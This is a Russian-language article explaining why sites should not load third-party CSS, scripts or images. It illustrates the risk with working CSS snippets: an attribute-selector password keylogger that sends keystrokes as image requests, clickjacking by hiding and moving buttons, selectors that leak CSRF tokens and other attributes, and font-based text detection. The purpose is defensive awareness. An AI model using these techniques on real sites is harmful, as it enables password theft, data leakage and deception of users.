Почему не стоит использовать сторонний CSS на своем сайте
Рассказываем, как вы можете навредить своему сайту, используя сторонний CSS, JavaScript и другие ресурсы с чужих серверов.
В конце февраля в сети появился кейлоггер, частично использующий CSS. Атака с его помощью проста: для каждого символа, введенного в поле с определенным type (например, password), генерируется запрос на сторонний сервер, якобы запрашивающий фоновую картинку:
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); }
На сервере последовательность запросов можно зарегистрировать и легко вычислить введенный пароль.
В процессе обсуждения проблемы некоторые предложили производителям браузеров заняться фиксом. Кто-то обратил внимание, что проблема актуальна только для сайтов на React-подобных фреймворках, и переложил вину на них.
Но на самом деле проблема в том, чтобы считать сторонний контент безопасным.
Сторонние картинки
<img src = "https://example.com/kitten.jpg">
Если вы добавите изображение такого вида на сайт, вы попадете в зависимость от example.com. Они могут подставить вас разными способами, например, удалить картинку – вы получите 404 вместо изображения. А могут просто заменить изображение котика на что-нибудь менее приятное.
Вы можете предупредить своих пользователей, что изображение добавлено со стороннего ресурса и вы не имеете к нему отношения. Так вы немного себя обезопасите от неприятностей. Но, конечно, при добавлении простой картинки вы не предоставляете доступ к паролям.
Сторонние скрипты
<script src="https://example.com/script.js"></script>
Этот пример куда интересней для example.com, потому что добавляя скрипт с их сайта вы даете им куда больше контроля над своим. В этом случае example.com может:
- Читать/изменять содержимое страницы.
- Отслеживать каждое действие пользователя.
- Запускать трудный для вычисления код (например, криптомайнер).
- Запрашивать куки.
- Читать/изменять локальное хранилище.
Другими словами, теперь example.com может много чего.
Взаимодействие с локальным хранилищем в будущем приносит еще больше проблем. Сторонний ресурс будет иметь доступ к вашему сайту даже после удаления скрипта со страницы. Если вы добавляете сторонний скрипт на сайт, вы должны абсолютно доверять источнику и его безопасности.
Если вы все-таки столкнулись с плохим скриптом, попробуйте воспользоваться Clear-Site-Data header.
Сторонний CSS
<link rel="stylesheet" href="https://example.com/style.css">
Сторонний CSS-код по воздействию на сайт находится между картинкой и скриптом. Чужой CSS умеет:
- Удалять/изменять/добавлять контент на странице.
- Делать запросы, основываясь на содержимом страницы.
- Реагировать на многие действия пользователя.
CSS не сможет взаимодействовать с локальным хранилищем и криптомайнер на страницу не встроит, однако может принести немало вреда владельцу ресурса.
Кейлоггер
Немного модифицируем CSS из начала статьи:
input[type="password"][value$="a"] { background-image: url("/password?a"); }
Этот код будет отправлять данные о введенном символе "a" в обработчик под видом запроса картинки. Повторите код для каждого символа и вот у вас уже есть кейлоггер на CSS.
По умолчанию браузеры не хранят введенные пользователем символы в атрибуте value, так что этот трюк сработает при использовании чего-то, что синхронизирует подобные значения, например, React.
Разумеется, эта проблема может быть решена на стороне Реакта и подобных фреймворков. Но тогда будет решен лишь конкретный случай, а остальные проблемы останутся.
Исчезающий контент
body { display: none; } html::after { content: "HTTP Server Server Error"; }
Это, конечно, очень своеобразный пример, но все же рабочий. Представьте, если ваши пользователи при заходе на сайт будут видеть вместо привычной главной страницы непонятную ошибку. Таким же образом сторонний код может удалить, например, кнопку «купить» или сделать какую-то еще неприятность.
Добавление контента
.price-value::before { content: "1"; }
И вот так просто ваши цены взлетели.
Перемещение контента
.delete-everything-button { opacity: 0; position: absolute; top: 500px; left: 300px; }
Возьмите кнопку, которая делает что-то ужасное, и что пользователь просто так не нажмет, сделайте ее прозрачной и поместите в то место, куда пользователь обязательно кликнет.
Конечно, если кнопка делает что-то действительно важное, пользователь сначала увидит предупреждающий диалог. Но и это не проблема: просто нужно больше CSS. Например, можно изменить содержимое кнопки «О, господи, нет!», на «Конечно, я уверен».
Представьте, что производители браузеров поправили трюк с кейлоггером. Злоумышленники просто помещают лишнее текстовое поле поверх важного поля с типом password и они снова заняты делом.
Чтение атрибутов
В value и других атрибутах необязательно хранятся пароли: злоумышленник может найти еще что-то интересное.
<input type="hidden" name="csrf" value="1687594325"> <img src="/avatars/samanthasmith83.jpg"> <iframe src="//cool-maps-service/show?st-pancras-london"></iframe> <img src="/gender-icons/female.png"> <div class="banner users-birthday-today»></div>
Все эти данные можно собрать CSS селекторами и отправить, куда следует.
Отслеживание взаимодействий
.login-button:hover { background: url("/login-button-hover"); } .login-button:active { background: url("/login-button-active"); }
Такие псевдоселекторы, как hover и active, помогут составить картину того, что делает пользователь на сайте.
Чтение текстового контента
@font-face { font-family: blah; src: url("/page-contains-q") format("woff"); unicode-range: U+85; } html { font-family: blah, sans-serif; }
В этом примере запрос будет отправлен, если страница содержит символ "q". Можно создать множество таких кусочков кода для отслеживания конкретных слов, символов или последовательностей символов.
Это лишь малая часть примеров того, что может сделать злоумышленник с вашим сайтом, если применит фантазию. Будьте осторожны, используя сторонний CSS и другой контент с чужих серверов.